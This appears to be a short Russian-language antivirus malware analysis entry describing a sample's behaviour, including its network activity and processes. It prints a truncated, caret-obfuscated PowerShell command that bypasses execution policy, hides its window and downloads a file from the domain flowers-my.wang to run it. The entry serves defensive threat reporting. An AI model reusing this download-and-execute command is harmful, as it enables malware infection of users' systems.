Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://flowers-my.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pow^e^rsHe^lL^.E^X^E^ -EXecut^IOnPOl^icy^ ^By^pASS -^N^OPR^Of^i^L^e ^-Wi^N^d^ow^S^tYLE HI^d^D^eN (nE^W^-^Objec^t sysTEm^.^net.WEBclI^E^Nt^)^.DOWNLo^a^dFIl^E('http://flowers-...
Сетевая активность
UDP
- DNS ASK fl###rs-my.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pow^e^rsHe^lL^.E^X^E^ -EXecut^IOnPOl^icy^ ^By^pASS -^N^OPR^Of^i^L^e ^-Wi^N^d^ow^S^tYLE HI^d^D^eN (nE^W^-^Objec^t sysTEm^.^net.WEBclI^E^Nt^)^.DOWNLo^a^dFIl^E('http://flowers-...' (со скрытым окном)
